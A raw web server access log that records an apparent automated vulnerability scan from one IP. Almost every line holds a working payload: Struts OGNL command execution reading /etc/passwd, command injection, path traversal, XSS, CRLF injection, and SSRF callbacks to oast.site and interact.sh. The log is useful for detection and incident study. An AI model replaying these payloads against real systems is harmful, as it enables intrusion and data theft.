[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1) HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/admin?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName&redirect=%2f%5cinteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS / HTTP/1.1" -
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /command/prima-factory.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/v1/AccountService/Accounts HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /current_config/Sha1Account1 HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/deviceInfo?auth=YWRtaW46MTEK HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://d5g6sfahausljekepl203z4kahbfthhp9.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?where1=<script>alert(document.domain)</script>&searchsubmit=Buscar&page=nsp_search HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /integration/saveGangster.action HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/users/ HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fosagent/repl/download-file?basedir=4&filepath=..\\..\\Windows\\win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/stats HTTP/1.1" 199
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/logoff.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fileserver/380CxxXfpI4nur7D9oI0ntcfEc8.txt HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /RPC2 HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xda/help/en/default.htm?startat=//oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /struts2-rest-showcase/orders/3 HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base_import/static/c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/jolokia/read%3Csvg%20onload=alert%28document.domain%29%3E?mimeType=text/html HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/loginredir?redir=javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://d5g6sfahausljekepl20mthhtytrk7xdn.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__ HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dumpmdm.cmd HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jolokia/read/getDiagnosticOptions HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sympa?referer=http://interact.sh&passwd&previous_action&action=login&action_login&previous_list&list&email HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0 HTTP/1.1" 199
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:51:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927363760 HTTP/1.1" -
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?next=http://interact.sh/?app.scan/ HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /system/sharedir.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&login&CipheredValue HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__debugging_center_utils___.php?log=;echo%20rkrhewdlcozxzdefctrtgmhzlzkcevvr%20|%20ipconfig HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action HTTP/1.1" 199
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID&WEBACCOUNTPASSWORD HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkstatus HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en-US/splunkd/__raw/services/server/info/server-info?output_mode=json HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /img.php?f=/./etc/./passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hw-sys.htm HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db=\"><script>prompt(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?op=fileviewer&file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fcgi-bin/wgsetcgi HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /account HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mantis/verify.php?id=1&confirm_hash HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/index.php?id=pages HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/cgi-bin/hi3510/param.cgi?cmd=setmobilesnapattr&cururl=http%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/device-id HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET \\..\\..\\..\\..\\Windows\\win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /orders/3 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dolibarr/adherents/cartes/carte.php?mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logos_clients/380CyAT3DjyZunfpzjBqWWRX6Q2.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blast/nph-viewgif.cgi?../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/apply?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/user/values.xml?var=STATUS HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/google_analytics.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /meta HTTP/1.1" 220
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/attributewizardpro/file_upload.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/System/MailConnect/host/d5g6sfahausljekepl20ahhjpacnbdk8r.oast.site/port/80/secure/ HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/log HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cxtu4kQxyMEfNvxd5HGkDsmp.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uir//etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.../.../.../.../.../.../.../.../.../etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuxeo/login.jsp/pwn$%7B31333333330+7%7D.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read%3Csvg%20onload=alert%28document.domain%29%3E?mimeType=text/html HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /IntellectMain.jsp?IntellectSystem=https://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wp/v2/users/ HTTP/1.1" 3426
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload/index.php?route=extension/payment/divido/update HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/common/forward_js.jsp?FORWARD_URL=http://evil.com HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /select_project.php?url=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fosagent/repl/download-snapshot?name=..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /invoker/EJBInvokerServlet/ HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /filemanager/upload.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/repository HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login?LD_DEBUG=files HTTP/1.1" 199
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /GponForm/diag_Form?images/ HTTP/1.1" 196
[09/Jan/2026:10:51:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base_import/static/etc/passwd HTTP/1.1" 196
